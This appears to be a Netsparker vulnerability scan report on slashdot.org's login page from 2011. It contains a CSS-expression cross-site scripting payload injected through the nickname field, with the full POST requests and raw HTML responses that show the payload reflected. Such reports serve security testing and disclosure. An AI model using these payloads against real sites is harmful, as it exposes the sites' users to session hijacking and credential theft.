XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript InjectionNetsparker - Scan Report Summary
|
||||||||||
|
Total RequestsxxxxAverage Speedx.xx req/sec. |
8
identified
6
confirmed
0
critical
0
informational
|
||||||||
GHDB, DORK TestsGHDB, DORK Tests
|
||||||||||
|
Authentication
Scheduled
|
|||||||||
VULNERABILITIESVulnerabilities
|
||
 |
IMPORTANT
63 %
LOW
38 %
|
|
Cross-site Scripting
Cross-site Scripting
4
TOTAL
IMPORTANT
CONFIRMED
4
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
- Hi-jacking users' active session
- Changing the look of the page within the victims browser.
- Mounting a successful phishing attack.
- Intercept data and perform man-in-the-middle attacks.
Remedy
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
Remedy References
External References
|
- /my/login
/my/login CONFIRMED |
Parameters
| Parameter | Type | Value |
| returnto | POST | 3 |
| op | POST | userlogin |
| unickname | POST | " stYle="x:expre/**/ssion(alert(9)) |
| upasswd | POST | 3 |
| login_temp | POST | yes |
| userlogin | POST | Log In |
Request
POST /my/login HTTP/1.1
Referer: http://slashdot.org/my/login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: slashdot.org
Content-Length: 129
Expect: 100-continue
Accept-Encoding: gzip, deflate
returnto=3&op=userlogin&unickname=%22+stYle%3d%22x%3aexpre%2f**%2fssion(netsparker(9))+&upasswd=3&login_temp=yes&userlogin=Log+In
Referer: http://slashdot.org/my/login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: slashdot.org
Content-Length: 129
Expect: 100-continue
Accept-Encoding: gzip, deflate
returnto=3&op=userlogin&unickname=%22+stYle%3d%22x%3aexpre%2f**%2fssion(netsparker(9))+&upasswd=3&login_temp=yes&userlogin=Log+In
Response
HTTP/1.1 200 OK
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Hermes: Without my body, I'm a nobody.
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 15005
Date: Tue, 08 Mar 2011 16:00:15 GMT
X-Varnish: 1629929155
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '960429379267014784', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="hide_modal_box(..
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Hermes: Without my body, I'm a nobody.
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 15005
Date: Tue, 08 Mar 2011 16:00:15 GMT
X-Varnish: 1629929155
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '960429379267014784', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="hide_modal_box(..
|
- /my/login
/my/login CONFIRMED |
Parameters
| Parameter | Type | Value |
| returnto | POST | 3 |
| op | POST | userlogin |
| unickname | POST | " stYle="x:expre/**/ssion(alert(9)) |
| upasswd | POST | 3 |
Request
POST /my/login HTTP/1.1
Referer: http://slashdot.org/my/login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: slashdot.org
Content-Length: 97
Expect: 100-continue
Accept-Encoding: gzip, deflate
returnto=3&op=userlogin&unickname=%22+stYle%3d%22x%3aexpre%2f**%2fssion(netsparker(9))+&upasswd=3
Referer: http://slashdot.org/my/login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: slashdot.org
Content-Length: 97
Expect: 100-continue
Accept-Encoding: gzip, deflate
returnto=3&op=userlogin&unickname=%22+stYle%3d%22x%3aexpre%2f**%2fssion(netsparker(9))+&upasswd=3
Response
HTTP/1.1 200 OK
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Bender: Gimme your biggest, strongest, cheapest drink.
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 15005
Date: Tue, 08 Mar 2011 16:01:21 GMT
X-Varnish: 1629929774
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '439276264956063540', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = 